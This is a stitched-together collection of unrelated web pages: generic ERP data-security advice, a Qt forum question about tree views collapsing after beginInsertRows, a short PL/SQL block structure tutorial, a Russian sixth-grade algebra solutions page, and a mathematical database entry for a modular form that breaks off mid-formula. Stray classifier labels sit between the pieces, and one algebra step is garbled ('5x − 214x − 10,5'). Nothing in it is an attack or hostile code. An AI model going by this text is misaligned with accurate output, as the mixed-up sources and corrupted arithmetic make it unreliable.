can mitigate the risk of unauthorized access and data breaches. Example: <ul> <li>Create user roles based on job functions</li> <li>Limit access to sensitive data to authorized users only</li> <li>Regularly review and update access controls</li> </ul> Encrypting Data at Rest and in Transit Another crucial strategy for protecting sensitive data within ERP systems is by encrypting data at rest and in transit. Encryption scrambles data to make it unreadable to unauthorized users, providing an additional layer of security. This is especially important when data is being transmitted over networks or stored on servers. Example: <ul> <li>Use encryption algorithms to protect data at rest</li> <li>Implement secure protocols for encrypting data in transit</li> <li>Regularly audit encryption processes to ensure compliance</li> </ul> Regularly Updating and Patching ERP Systems One common mistake that businesses make is neglecting to update and patch their ERP systems. Software vendors regularly release updates and patches to address security vulnerabilities and improve system performance. By staying up to date with these updates, companies can prevent hackers from exploiting known vulnerabilities to access sensitive data. Example: <ul> <li>Implement a regular update schedule for ERP systems</li> <li>Ensure that all patches and updates are applied in a timely manner</li> <li>Monitor for new vulnerabilities and security threats</li> </ul> Training Employees on Data Security Best Practices Employees are often the weakest link in data security, as human error can lead to data breaches. It's essential for companies to invest in training employees on data security best practices, such as creating strong passwords, recognizing phishing attempts, and following proper data handling procedures. By raising awareness and promoting a culture of data security, companies can reduce the risk of insider threats. Example: <ul> <li>Provide regular security training for employees</li> <li>Encourage the use of multi-factor authentication for added security</li> <li>Conduct phishing simulations to test employees' awareness</li> </ul> Protecting sensitive data within ERP systems is a top priority for businesses in today's digital age. By implementing strategies such as role-based access controls, data encryption, regular updates, and employee training, companies can strengthen their defenses against cyber threats and prevent costly data breaches. Investing in data security not only protects the company's bottom line but also builds trust with customers and stakeholders. Remember, when it comes to data security, prevention is always better than cure. Common Mistakes to Avoid in Data Security for ERP Software Systems Yet, many companies make common mistakes that can jeopardize the security of their data. In this article, we will discuss some of these mistakes and how to avoid them to ensure the safety of your ERP software system. Not Using Strong Passwords One of the most common mistakes in data security is using weak passwords. A strong password should be at least 8 characters long and include a mix of uppercase and lowercase letters, numbers, and special characters. Avoid using easily guessable passwords such as "password123" or "admin". Instead, use a passphrase that is easy to remember but hard to crack, such as "Ilovedatasecurity#2022". Additionally, consider implementing multi-factor authentication for an extra layer of security. Neglecting Regular Updates and Patches Another common mistake is neglecting to update and patch your ERP software system regularly. Software vendors release updates and patches to fix vulnerabilities and bugs that could be exploited by cyber attackers. Failure to install these updates in a timely manner can leave your system vulnerable to security breaches. Make sure to regularly check for updates and patches from your ERP software provider and apply them promptly. Insufficient Employee Training Many data breaches occur due to human error, such as employees falling victim to phishing scams or inadvertently leaking sensitive information. To avoid this, provide comprehensive training to your employees on data security best practices. Teach them how to recognize phishing emails, the importance of strong passwords, and how to handle sensitive information securely. Regular training sessions can help ensure that your employees are aware of the risks and know how to mitigate them. Failure to Regularly Backup Data Backing up your data regularly is essential in case of a security breach or system failure. Many companies make the mistake of not backing up their data frequently, leading to potential data loss in the event of an incident. Implement a regular backup schedule, whether it's daily, weekly, or monthly, depending on the volume of data and system criticality. Store backup copies of your data in a secure location, either on-premises or in the cloud, to ensure data recovery in case of a disaster. Ignoring User Permissions and Access Controls Another common mistake in data security is ignoring user permissions and access controls. It's important to restrict access to sensitive information only to employees who need it to perform their job functions. Implement role-based access controls to ensure that users have the appropriate level of access based on their roles and responsibilities within the organization. Regularly review and update user permissions to prevent unauthorized access to sensitive data. By avoiding these common mistakes in data security for ERP software systems, you can protect your organization's sensitive information and mitigate the risk of security breaches. Implementing strong password policies, regularly updating your software, providing employee training, backing up data, and enforcing user permissions and access controls are essential steps in safeguarding your ERP system. Remember that data security is an ongoing process that requires vigilance and proactive measures to stay one step ahead of cyber threats. Add new comment Related articles Related Reads on Enterprise resource planning erp software development Dive into our selected range of articles and case studies, emphasizing our dedication to fostering inclusivity within software development. Crafted by seasoned professionals, each publication explores groundbreaking approaches and innovations in creating more accessible software solutions. Perfect for both industry veterans and those passionate about making a difference through technology, our collection provides essential insights and knowledge. Embark with us on a mission to shape a more inclusive future in the realm of software development. ERP software for financial management Key features to consider ERP software for financial management Key features to consider In today's fast-paced business environment, data has become the lifeblood of successful companies. Being able to collect, analyze, and interpret data effectively can give businesses a competitive edge. This is where reporting and analytics capabilities come into play, providing valuable insights that drive informed decision-making and ultimately lead to business growth. Read Article Arrow Up Unlocking your business potential with ERP software Unlocking your business potential with ERP software In today's fast-paced business environment, companies are constantly looking for ways to streamline their operations and increase efficiency. One of the most effective ways to achieve this is by implementing Enterprise Resource Planning (ERP) solutions. Read Article Arrow Up Understanding the different modules of ERP software Understanding the different modules of ERP software Enterprise Resource Planning (ERP) software plays a vital role in streamlining business processes, managing resources, and improving overall efficiency. ERP modules are essential components of any ERP system, each serving a specific purpose and offering unique features and functions. Read Article Arrow Up
__label__pos
0.808427
BeginInsertRow/EndInsertRow/BeginRemoveRow etc - keeps resetting expanded items states? • Hey So I'm working on QAbstractItemModels to build up QTreeView. I'm hand managing all the insert/remove/append/remove rows. I initially built it "as is " and lately I read up that I need to add begin/end routines before and after inserting rows. Now without it, it seemed to work fine, but now with it whenever I drag/drop items, the expanded items close down and so on, entire views gets reset. Is that normal? How can I preserve expanded items or am I doing something wrong? For example, if I have nodeA->appendItem(someNode); appendItem(myNode *node){ if(model){ model->beginInsertingRows() } children.push_back(node) if(model){ model->endInsertingRows() } } This is routine more or less, but these model-> signals keeps reseeting my expanded items? Or do we dont use these signals if we use our own drag/drop/model/view etc? Log in to reply   Looks like your connection to Qt Forum was lost, please wait while we try to reconnect.
__label__pos
0.999631
Introduction of PL/SQL Block Structure In this article I am going to explain about PL/SQL Block Structure. • 1996 PL/SQL Block Structure In this article I am going to explain about PL/SQL Block Structure. PL/SQL is a Block Structure Language, meaning that programs can be divided into logical blocks. PL/SQL is developed by oracle. In present time, PL/SQL is integrated component of oracle software. SQL provide limited support for advance programming and PL/SQL fill this gap. A PL/SQL block consists of up three section:   1. Declarative (optional) 2. Executable   (recurred) 3. Exception handling (optional) Note: Section keyword, Declare, Being and exception are not followed by semi colons. Block Type 1. Anonymous Block 2. Procedure Block 3. Function Block Anonymous Block:- Un_named PL/SQL Blocks that are embedded within on application or issued reiteratively. Procedure Block:- Named PL/SQL Blocks Structure is an Oracle Forms developers application or shared library, can accept parameters and can be invoked repeatedly by name . Function Block:- Named PL/SQL Blocks Stored  is an Oracle server, can accept parameter and can be invoked repeatedly by name. © 2019 DotNetHeaven. All rights reserved.
__label__pos
0.998922
ГДЗ Математика 6 класс Никольский, Потапов, Решетников ГДЗ Математика 6 класс Никольский, Потапов, Решетников авторы: , , , . издательство: Просвещение 2015 год ГДЗ учебник по математике 6 класс Никольский. Номер №1165 Упростите выражение: а) 4x − 5 + 1,5 + 2; б) 8x − (3x + 5) + (2x − 9); в) 5(x − 0,4) − 7(2x + 1,5); г) 2,3x − (2,3x + 0,5) − 0,2(5x − 3). Решение а Решение: 4x − 5 + 1,5 + 2 = 4x − 1,5 Ответ: 4x − 1,5 Решение б Решение: 8x − (3x + 5) + (2x − 9) = 8x − 3x − 5 + 2x − 9 = 7x − 14 Ответ: 7x − 14 Решение в Решение: 5(x − 0,4) − 7(2x + 1,5) = 5x − 214x − 10,5 = −9x − 12,5 Ответ: −9x − 12,5 Решение г Решение: 2,3x − (2,3x + 0,5) − 0,2(5x − 3) = 2,3x − 2,3x − 0,5 − x + 0,6 = −x + 0,1 Ответ: −x + 0,1 Instagram line
__label__pos
0.999742
SAT Math Practice Problems Only available on StudyMode • Download(s) : 38 • Published : September 5, 2012 Open Document Text Preview Key stage 1 Level 2 Mathematics booklet 2003 Name Score Level and grade 6 8 Desi Ella 2 Practice question a 1 b 3 2 c 3 kilograms metres hours centimetres litres d Ella is 97 tall. 4 4 months e 5 23 16 f 5 Practice question How many birds are there? birds 6 6 One marble fits in each space in the box. Tick (#) the box which can hold 18 marbles. 7 7 One shape has 2 long sides and 2 short sides. Tick (#) it. 8 8 Write four different numbers to make these correct. + + = 17 = 17 9 Ella wants to buy one banana. banana 35p She has 20p How much more money does she need? p 9 10 Write the missing number. + 8 = 68 11 Weather chart morning Monday Tuesday Wednesday Thursday Friday afternoon How many mornings were sunny ? mornings 10 12 Desi and Ella share this money equally. How much do they each get? p 13 Here are some numbers. 43 89 64 28 51 Write the numbers in order. One is done for you. smallest largest 28 11 14 There are 10 pencils in each box and 4 more pencils. How many pencils are there altogether? pencils 12 15 Write the answer. 30 – 15 = 16 Write the two missing numbers in this sequence. 5 9 11 13 17 19 13 17 Look at this map. Desi starts here Desi’s house is the 2nd on the left. Tick (#) it. 14 18 Write numbers in the boxes to make this correct. 18 + | = 18 19 Write the missing number. One is done for you. 5 double and add 3 13 8 double and add 3 15 20 Class 2 made a graph. Ages of children in our class 10 8 number 6 of children 4 2 0 5 years 6 years age 7 years a How many children are 5 years old? children b What is the total number of children in the class? children 16 21 Tick (#) each picture of a cylinder. 17 22 Write the missing digits to make this correct. 0 + 2 = 3 3 23 Divide this shape into 4 equal parts. Use a ruler. 18 24 Write the number which is halfway between these numbers. 100 110 25 Desi needs 18 balloons. The shop sells balloons in packs of 5. 5 balloons How many packs does he need to buy? packs 19 26 Two of these shapes are not hexagons. Draw a cross ({) on each shape which is not a hexagon. 20 27 There are 60 sweets in a bag. Sweets 20 sweets are red. 16 sweets are yellow. The rest are green. How many sweets are green? Show how you work it out in the box. green sweets 21 © Qualifications and Curriculum Authority 2003 255731 tracking img
__label__pos
0.999662
spying.ninja Logo Reverse Phone Lookup: Complete Guide and More Reverse Phone LookupWhat is the most annoying thing about modern cell phones and their owners? Those unrecognized phone numbers are disturbing you with those phone calls of no direction and purpose. They can turn your life into hell. The worst thing is when somebody is threatening your family or you personally by phone. Well, the best thing to catching that bastard is to use a reverse phone lookup. Let’s find out more about this term and how we can use it to protect ourselves. Reverse Phone Lookup: What is it? This is the guide that will teach you everything you should know about reverse phone lookup. It is closely connected to search, privacy, and your personal security. Just be sure, here you will learn everything we know and Internet shares about phone lookups and searching phone numbers online with different options, methods, and directions. You may find a common info about phone lookups on the official article about the issue. But we want to talk more brief and clear. Reverse phone lookup is an action or group of actions performed to identify a phone number’s owner. The info you are searching for may be absolutely various. His or her name, address, and even more personal date are included in your search result. Those days before computers and mobile phones were invented were trickier in this case. Some of you may still remember those free phone books with published info about a person. The wider versions of those phone books were used by law forces for investigations and other actions. Nowadays those phone books for phone lookup are long gone, and everything moved to the Internet. Here we should also note that spy applications for parental control have nothing to do with a reverse phone tracking. Lots of cell phone users just do not know the main purpose and performance principles of phone spying applications. So, if you need to do a reverse phone lookup, you should deal with absolutely different tools and directions. Why should I look up a phone number? Reverse Phone LookupAs always, there are various reasons why people do a phone lookup and search. Some may ask why does he should do an internet search instead of just answering the phone call. Well, it is simple and old as hell. Just think about three basic points humans deal with for ages – fear, money, love. • Fear and anxiety: as we said before, lots of people experience those frightful feelings of being harassed. And modern society is dealing with phone threats more and more often. Sometimes phone bullies do not even use private and unregistered numbers. Maybe, they just want you to know who they are. And if you do not want to be a victim and take the situation in your hands, you may try to do a reverse phone lookup and other searches. If you know a name, it is easier to stop the person that is threatening you. • Love and close feelings: cheating is the problem lots of spouses are going through. And phone lookup is one of the main ways to catch a cheater. You may use a simple messages tracking application to catch your cheating spouse, but if you know the exact number, it may be easier and simpler to use a reverse phone lookup instead or just for a start. Money and other beneficial issues: this point is simple and very old. If a person owes money to somebody, he or her, probably, don’t want to answer calls with unfamiliar numbers. That is why they prefer to search the number before answering its calls. How does it work? Reverse Phone LookupThere are just two ways how the whole reverse phone lookup mechanism works and two sources from where the information comes while you are searching it. The first way you can deal with is about a simple online search. For this, you just need to know a phone number and some online database. For example, try to use a simple search engine like Google. Here is the information you can get using a search engine: • With the area code, you can get a country, state, and city. • The original mobile services provider. • What is the use of a number: private, business, etc. • When the phone was registered in the system for the very first time. • The name of the user, if it was registered somewhere on the web. The other way for you to search the number is to use social media platforms like Facebook. Just fill in the number you have in the search area, and you will get the profile of its owner if it was connected to it. What is the chance to find a number? Reverse Phone LookupTo speak briefly, everything depends on the certain case. Mostly 60-80% of numbers are registered at least once on the Internet somewhere. It means you have a pretty nice chance to find the info you are searching for. Another point that affects the entire number search company is time. The wider period of time a person owns a number, the bigger chance you have to identify it using search engines, social media, and some special databases. If your target is using a prepaid number, your search, probably, will have no success. In cases when you can’t find the number online, you can try to get the police involved if there are any risks for your life and family. Privacy issues Here is also two points you should deal with. Privacy issues are about: • Removing your number from any bases (like Google): in this case, you need to deal with every service separately and ask them to remove your number from their database. It may seem a tough job to do, but it is still the only way to improve your privacy. • Digital applications: developers of some modern mobile apps claim that their tools can perform a number search automatically. But when you install it, you give them your own That is how those companies improve their databases. Comments Leave a Reply Solve : * 27 − 23 =
__label__pos
0.765771
4 I would like to allow a path and disallow everything else in the directory. User-Agent: * Allow: /example/ Disallow: /example/* Will this work? If not what would be a better way of doing this? 4 I actually found this helpful. https://moz.com/community/q/robots-txt-how-to-exclude-sub-directories-correctly User-Agent: * allow: /example/$ disallow: /example/* 2 Your Answer By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy Not the answer you're looking for? Browse other questions tagged or ask your own question.
__label__pos
0.935845
Skip to content The KubeRun backend Warning The KubeRun backend is deprecated and the Kubernetes backend should be used instead. Read the migration guide here » The KubeRun backend runs and is tested against all currently actively maintained Kubernetes versions. For ContainerSSH version 0.4 these are: 1.20, 1.19, and 1.18. Tip This is the documentation for the KubeRun backend. For deploying ContainerSSH inside Kubernetes please see the installation guide. The base configuration structure In order to use the Kubernetes backend you must specify the following configuration entries via the configuration file or the configuration server: backend: kuberun kuberun: connection: <connection configuration here> pod: <pod configuration here> Configuring connection parameters In order to use Kubernetes you must provide the credentials to authenticate with the Kubernetes cluster. There are several supported authentication methods: • Username and password (HTTP basic auth). • x509 client certificates. • Bearer token. These options should be specified like this: kuberun: connection: host: <...> <...> Base configuration Name Type Description host string The hostname or ip + the port of the Kubernetes API server. Set this to kubernetes.default.svc to run inside a Kubernetes cluster, otherwise set it to the host name of your Kubernetes API. path string This is the API path of the Kubernetes API. Defaults to /api and you will typically not need to change this. cacertFile string Points to the file that contains the CA certificate in PEM format that signed the server certificate. cacert string Directly contains the CA certificate in PEM format that signed the server certificate. serverName string Sets the hostname of the server that should be sent to the Kuberentes API in the TLS SNI. This is useful when the Kubernetes API has a hostname that is not resolvable from the server ContainerSSH is running on. insecure bool Disable certificate verification on the Kubernetes API. This is a very bad idea as anyone on the network will be able to intercept your credentials. qps float32` Indicates a maximum queries per second from this client. burst int Indicates the maximum burst for query throttling. timeout string Timeout for pod operations in nanoseconds. Time units can be used. HTTP basic authentication (username and password) Name Type Description username string Username for authenticating against the Kubernetes API. This is only used for HTTP basic auth and does not work with other authentication methods (e.g. OAuth2) password string Password for authenticating against the Kubernetes API. This is only used for HTTP basic auth and does not work with other authentication methods (e.g. OAuth2) x509 certificate authentication Name Type Description certFile string Points to a file that contains the client certificate for x509 authentication against the Kubernetes API in PEM format. cert string Directly contains the certificate for x509 authentication against the Kubernetes API in PEM format. keyFile string Points to a file that contains the client key for x509 authentication against the Kubernetes API in PEM format. key string Directly contains the client key for x509 authentication against the Kubernetes API in PEM format. Bearer token authentication This authentication method is primarily used with service accounts. Name Type Description bearerTokenFile string Points to the file that contains the bearer token for authenticating against the Kubernetes API. Set to /var/run/secrets/kubernetes.io/serviceaccount to use the service account when running ContainerSSH inside a Kubernetes cluster. bearerToken string Directly contains the bearer token for authenticating against the Kubernetes API. Pod configuration The pod configuration contains the information which pod to run. kuberun: pod: namespace: <namespace name> podSpec: <pod spec here> <ContainerSSH-specific options here> Tip Did you know? You can get a full description of the Pod type by running kubectl explain pod.spec. Basic pod configuration ContainerSSH defaults to running pods in the default namespace with the containerssh/containerssh-guest-image container image. You can change these settings with the following options: kuberun: pod: namespace: default podSpec: containers: - name: shell image: containerssh/containerssh-guest-image env: - name: VAR value: Hello world! Running multiple containers When running multiple containers ContainerSSH defaults to attaching to the first container. You can change this behavior by specifying the consoleContainerNumber option. This number is 0-indexed. kuberun: pod: namespace: default consoleContainerNumber: 1 podSpec: containers: - name: container1 image: ... - name: container2 image: ... Mounting volumes In Kubernetes volumes of various types can be mounted into pods. This is done as follows: kuberun: pod: consoleContainerNumber: 1 podSpec: volumes: - name: <volume name here> <mount type here>: <mount options here> containers: - name: shell image: <image name here> volumeMounts: - name: <volume name here> mountPath: <where to mount> For example, mounting a path from the host machine can be done as follows: kuberun: pod: consoleContainerNumber: 1 podSpec: volumes: - name: home hostPath: path: /home/ubuntu type: Directory containers: - name: shell image: containerssh/containerssh-guest-image volumeMounts: - name: home mountPath: /home/ubuntu Tip Use kubectl explain pod.spec.volumes for details on how to configure the volume driver for your storage. Forcing the pod to run on a specific node In Kubernetes pod scheduling can be influenced either by node affinity or by explicitly binding a pod to a node. Node affinity lets you schedule pods based on various features of the node, e.g. the presence of a GPU, a disk type, etc. As the configuration can be quite complex we will not discuss it here, please read the Kubernetes manual. Binding a pod to a specific node on the other hand is rather simple: kuberun: pod: podSpec: nodeName: <insert node name here> Other options Apart from the metadata and spec options ContainerSSH has the following options on a Pod-level. These should not be changed unless required. Name Type Description consoleContainerNumber uint Specifies the number of the container to attach to. Defaults to the first container. mode string Specify connection to launch one pod per SSH connection or session to run one pod per SSH session (multiple pods per connection). In connection mode the container is started with the idleCommand as the first program and every session is launched similar to how kubectl exec runs programs. In session mode the command is launched directly. idleCommand []string Specifies the command to run as the first process in the container in connection mode. Parameters must be provided as separate items in the array. Has no effect in session mode. shellCommand []string Specifies the command to run as a shell in connection mode. Parameters must be provided as separate items in the array. Has no effect in session mode. agentPath string Contains the full path to the ContainerSSH guest agent inside the shell container. The agent must be installed in the guest image. enableAgent bool Enable the ContainerSSH guest agent. This enables the ContainerSSH guest agent. subsystems map[string]string Specifies a map of subsystem names to executables. It is recommended to set at least the sftp subsystem as many users will want to use it. disableCommand bool Disable command execution. Securing Kubernetes Securing the Kubernetes installation is beyond the scope of this document. We will describe how to deploy and configure ContainerSSH for security in a Kubernetes environment Creating a service account When deploying ContainerSSH with a Kubernetes backend you should never use an admin account for interacting with a Kubernetes cluster. ContainerSSH can run inside the same Kubernetes cluster or it can run as a standalone. When deploying inside the same Kubernetes cluster it is strongly recommended that ContainerSSH runs in a different namespace as the guest pods ContainerSSH launches. The setup below assumes you are creating a service account in the default namespace and the ContainerSSH pods will run in the containerssh-guests namespace. First, we need to create the service account. The following fragment can be applied with kubectl apply -f: apiVersion: v1 kind: ServiceAccount metadata: name: containerssh automountServiceAccountToken: false Then we create the role and rolebinding resources in the containerssh-guests namespace to allow the service accounts to create pods: kubectl create role containerssh \ -n containerssh-guests \ --verb=* \ --resource=pods \ --resource=pods/logs \ --resource=pods/exec kubectl create rolebinding containerssh \ -n containerssh-guests \ --serviceaccount=containerssh Deploying inside of Kubernetes When deploying ContainerSSH inside the same Kubernetes cluster you can simply use the service account when making your deployment: kuberun: connection: host: ... cacertFile: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt bearerTokenFile: /var/run/secrets/kubernetes.io/serviceaccount/token Deploying outside of Kubernetes Now, if you are running ContainerSSH outside of the Kubernetes cluster you can fetch the secret belonging to the service account by first looking at the service account itself: kubectl describe serviceaccount containerssh This command will output the name of the secret for this service account, which can then be extracted: kubectl get secret containerssh-token-2jrnc -o yaml The output will look as follows: apiVersion: v1 data: ca.crt: <base64-encoded CA certificate here> namespace: <base64-encoded namespace here> token: <base64-encoded bearer token here> kind: Secret Base64-decode both the ca.crt and the token fields and insert them into your ContainerSSH config as follows: kuberun: connection: bearerToken: <insert token here> cacert: | <insert ca.crt here> Preventing root escalation Under normal circumstances a user running as root inside a container cannot access resources outside the container. However, in the event of a container escape vulnerability in Kubernetes it is prudent not to run container workloads as root. You can prevent forcibly prevent any container from running as root by configuring the following setting: kuberun: pod: podSpec: securityContext: runAsNonRoot: true However, this will fail starting any container image that wants to run as root. In addition to the option above, you can also force the container to a specific UID: kuberun: pod: podSpec: securityContext: runAsUser: 1000 Preventing storage exhaustion A malicious user could cause the Kubernetes host to run out of disk space with a simple attack: cat /dev/zero > ~/zerofill There are two cases here: If the directory the user can write to is mounted using a volume the attacker can fill up the storage that is mounted. You can pass per-user mounts from the configuration server that mount volumes that are unique to the connecting user. This way the user can only fill up their own disk. The specific implementation depends on your volume driver. If the directory the user can write to is not mounted the user can fill up the container image. This is a much more subtle way of filling up the disk. Current Kubernetes does not support preventing this kind of attack, so it is recommended to only allow users to write to paths mounted as volumes. The readOnlyRootFilesystem PodSecurityPolicy can be applied to the namespace or the whole cluster preventing writes to the container root filesystem filling up the disk. Preventing memory exhaustion Users can also try to exhaust the available memory to potentially crash the server. This can be prevented using the following configuration: kuberun: pod: podSpec: resources: limits: memory: "128Mi" You can read more about memory requests and limits in the Kubernetes documentation. Preventing CPU exhaustion A malicious user can also exhaust the CPU by running CPU-heavy workloads. This can be prevented by setting the following options: kuberun: pod: podSpec: resources: limits: cpu: "500m" In this setting 1000m corresponds to a full core or vCPU of the host. You can read more about memory requests and limits in the Kubernetes documentation. Limiting network access Depending on which Container Network Interface is installed on the Kubernetes cluster you may have access to Network Policies. These work very similar to how traditional Linux firewalling works. The following network policy disables all network access within a namespace: apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: containerssh-guest-policy namespace: containerssh-guests spec: podSelector: {} policyTypes: - Ingress - Egress ingress: [] egress: []
__label__pos
0.807153
PageRenderTime 40ms CodeModel.GetById 17ms RepoModel.GetById 0ms app.codeStats 0ms /djangoplus/middleware/__init__.py http://django-plus.googlecode.com/ Python | 73 lines | 62 code | 6 blank | 5 comment | 4 complexity | b2bd4e86c45ffa8be7c803d53f2695ee MD5 | raw file Possible License(s): LGPL-3.0 1. import hmac, sha, base64, os 2. from django.conf import settings 3. from django.shortcuts import render_to_response 4. from django.template import RequestContext 5. from django.http import HttpResponseRedirect, HttpResponse 6. from django.utils.translation import ugettext as _ 7. from django.template.defaultfilters import slugify 8. try: 9. import Image, ImageDraw, ImageFont 10. except: 11. from PIL import Image, ImageDraw, ImageFont 12. from djangoplus import app_settings 13. class FakeSessionCookieMiddleware(object): 14. """ 15. Thanks to Dan Fairs 16. The source post is available at: 17. http://www.stereoplex.com/two-voices/cookieless-django-sessions-and-authentication-without-cookies 18. """ 19. def process_request(self, request): 20. if request.GET.has_key(settings.SESSION_COOKIE_NAME): 21. request.COOKIES[settings.SESSION_COOKIE_NAME] = request.GET[settings.SESSION_COOKIE_NAME] 22. elif request.POST.has_key(settings.SESSION_COOKIE_NAME): 23. request.COOKIES[settings.SESSION_COOKIE_NAME] = request.POST[settings.SESSION_COOKIE_NAME] 24. class ProtectAntiRobotsMiddleware(object): 25. def process_request(self, request): 26. current_domain = app_settings.ROBOT_PROTECTION_DOMAIN 27. if request.path_info.startswith('/protectantirobots/'): 28. path = request.GET.get('path', '') or request.POST.get('path', '') 29. if request.path == '/protectantirobots/img/': 30. s = base64.b64decode(request.COOKIES['protectantirobots_key_'+path]) 31. size = (100,30) 32. img = Image.new("RGB", size, "white") 33. draw = ImageDraw.Draw(img) 34. font = ImageFont.truetype(os.path.dirname(__file__)+"/FreeSansBold.ttf", 24) 35. draw.text((2,2), s, fill="red", font=font) 36. draw.line((0, 0) + img.size, fill=128) 37. draw.line((0, img.size[1], img.size[0], 0), fill=128) 38. del draw 39. ret = HttpResponse(mimetype='image/gif') 40. img.save(ret, "GIF") 41. elif 'k' in request.GET: 42. if request.POST: 43. n = request.POST['n'] 44. sec = base64.b64decode(request.COOKIES['protectantirobots_key_'+path]) 45. if n == sec: 46. ret = HttpResponseRedirect(request.COOKIES['protectantirobots_referer_'+path]) 47. ret.set_cookie('protectantirobots_sec_'+str(path), sec, domain=current_domain) 48. else: 49. ret = render_to_response( 50. 'djangoplus/protectantirobots.html', 51. {'msg': _('Invalid number!'), 'path': path}, 52. context_instance=RequestContext(request), 53. ) 54. else: 55. ret = render_to_response( 56. 'djangoplus/protectantirobots.html', 57. locals(), 58. context_instance=RequestContext(request), 59. ) 60. ret.set_cookie('protectantirobots_key_'+str(path), request.REQUEST['k'], domain=current_domain) 61. ret.set_cookie('protectantirobots_referer_'+str(path), request.META.get('HTTP_REFERER', ''), domain=current_domain) 62. return ret
__label__pos
0.996328
Properties Label 3024.2.k.h Level $3024$ Weight $2$ Character orbit 3024.k Analytic conductor $24.147$ Analytic rank $0$ Dimension $4$ CM no Inner twists $4$ Related objects Downloads Learn more about Newspace parameters Level: \( N \) \(=\) \( 3024 = 2^{4} \cdot 3^{3} \cdot 7 \) Weight: \( k \) \(=\) \( 2 \) Character orbit: \([\chi]\) \(=\) 3024.k (of order \(2\), degree \(1\), not minimal) Newform invariants Self dual: no Analytic conductor: \(24.1467615712\) Analytic rank: \(0\) Dimension: \(4\) Coefficient field: \(\Q(\sqrt{-2}, \sqrt{3})\) Defining polynomial: \(x^{4} + 4 x^{2} + 1\) Coefficient ring: \(\Z[a_1, \ldots, a_{7}]\) Coefficient ring index: \( 2\cdot 3 \) Twist minimal: no (minimal twist has level 756) Sato-Tate group: $\mathrm{SU}(2)[C_{2}]$ $q$-expansion Coefficients of the \(q\)-expansion are expressed in terms of a basis \(1,\beta_1,\beta_2,\beta_3\) for the coefficient ring described below. We also show the integral \(q\)-expansion of the trace form. \(f(q)\) \(=\) \( q -\beta_{2} q^{5} + ( 1 + \beta_{1} ) q^{7} +O(q^{10})\) \( q -\beta_{2} q^{5} + ( 1 + \beta_{1} ) q^{7} + \beta_{3} q^{11} + \beta_{1} q^{13} -\beta_{2} q^{17} + \beta_{1} q^{19} + 2 \beta_{3} q^{23} -2 q^{25} -\beta_{3} q^{29} -3 \beta_{1} q^{31} + ( -\beta_{2} + \beta_{3} ) q^{35} + q^{37} + \beta_{2} q^{41} -7 q^{43} + 7 \beta_{2} q^{47} + ( -5 + 2 \beta_{1} ) q^{49} + 3 \beta_{1} q^{55} + 5 \beta_{2} q^{59} -\beta_{1} q^{61} + \beta_{3} q^{65} + 10 q^{67} + 2 \beta_{3} q^{71} -4 \beta_{1} q^{73} + ( 6 \beta_{2} + \beta_{3} ) q^{77} -5 q^{79} -7 \beta_{2} q^{83} + 3 q^{85} -6 \beta_{2} q^{89} + ( -6 + \beta_{1} ) q^{91} + \beta_{3} q^{95} + \beta_{1} q^{97} +O(q^{100})\) \(\operatorname{Tr}(f)(q)\) \(=\) \( 4q + 4q^{7} + O(q^{10}) \) \( 4q + 4q^{7} - 8q^{25} + 4q^{37} - 28q^{43} - 20q^{49} + 40q^{67} - 20q^{79} + 12q^{85} - 24q^{91} + O(q^{100}) \) Basis of coefficient ring in terms of a root \(\nu\) of \(x^{4} + 4 x^{2} + 1\): \(\beta_{0}\)\(=\)\( 1 \) \(\beta_{1}\)\(=\)\( \nu^{3} + 5 \nu \) \(\beta_{2}\)\(=\)\( \nu^{2} + 2 \) \(\beta_{3}\)\(=\)\( -3 \nu^{3} - 9 \nu \) \(1\)\(=\)\(\beta_0\) \(\nu\)\(=\)\((\)\(\beta_{3} + 3 \beta_{1}\)\()/6\) \(\nu^{2}\)\(=\)\(\beta_{2} - 2\) \(\nu^{3}\)\(=\)\((\)\(-5 \beta_{3} - 9 \beta_{1}\)\()/6\) Character values We give the values of \(\chi\) on generators for \(\left(\mathbb{Z}/3024\mathbb{Z}\right)^\times\). \(n\) \(757\) \(785\) \(1135\) \(2593\) \(\chi(n)\) \(1\) \(-1\) \(1\) \(-1\) Embeddings For each embedding \(\iota_m\) of the coefficient field, the values \(\iota_m(a_n)\) are shown below. For more information on an embedded modular form you can click on its label. Label \(\iota_m(\nu)\) \( a_{2} \) \( a_{3} \) \( a_{4} \) \( a_{5} \) \( a_{6} \) \( a_{7} \) \( a_{8} \) \( a_{9} \) \( a_{10} \) 1889.1 0.517638i 0.517638i 1.93185i 1.93185i 0 0 0 −1.73205 0 1.00000 2.44949i 0 0 0 1889.2 0 0 0 −1.73205 0 1.00000 + 2.44949i 0 0 0 1889.3 0 0 0 1.73205 0 1.00000 2.44949i 0 0 0 1889.4 0 0 0 1.73205 0 1.00000 + 2.44949i 0 0 0 \(n\): e.g. 2-40 or 990-1000 Significant digits: Format: Inner twists Char Parity Ord Mult Type 1.a even 1 1 trivial 3.b odd 2 1 inner 7.b odd 2 1 inner 21.c even 2 1 inner Twists        By twisting character orbit Char Parity Ord Mult Type Twist Min Dim 1.a even 1 1 trivial 3024.2.k.h 4 3.b odd 2 1 inner 3024.2.k.h 4 4.b odd 2 1 756.2.f.d 4 7.b odd 2 1 inner 3024.2.k.h 4 12.b even 2 1 756.2.f.d 4 21.c even 2 1 inner 3024.2.k.h 4 28.d even 2 1 756.2.f.d 4 36.f odd 6 2 2268.2.x.j 8 36.h even 6 2 2268.2.x.j 8 84.h odd 2 1 756.2.f.d 4 252.s odd 6 2 2268.2.x.j 8 252.bi even 6 2 2268.2.x.j 8              By twisted newform orbit Twist Min Dim Char Parity Ord Mult Type 756.2.f.d 4 4.b odd 2 1 756.2.f.d 4 12.b even 2 1 756.2.f.d 4 28.d even 2 1 756.2.f.d 4 84.h odd 2 1 2268.2.x.j 8 36.f odd 6 2 2268.2.x.j 8 36.h even 6 2 2268.2.x.j 8 252.s odd 6 2 2268.2.x.j 8 252.bi even 6 2 3024.2.k.h 4 1.a even 1 1 trivial 3024.2.k.h 4 3.b odd 2 1 inner 3024.2.k.h 4 7.b odd 2 1 inner 3024.2.k.h 4 21.c even 2 1 inner Hecke kernels This newform subspace can be constructed as the intersection of the kernels of the following linear operators acting on \(S_{2}^{\mathrm{new}}(3024, [\chi])\): \( T_{5}^{2} - 3 \) \( T_{11}^{2} + 18 \) \( T_{13}^{2} + 6 \) Hecke characteristic polynomials $p$ $F_p(T)$ $2$ 1 $3$ 1 $5$ \( ( 1 + 7 T^{2} + 25 T^{4} 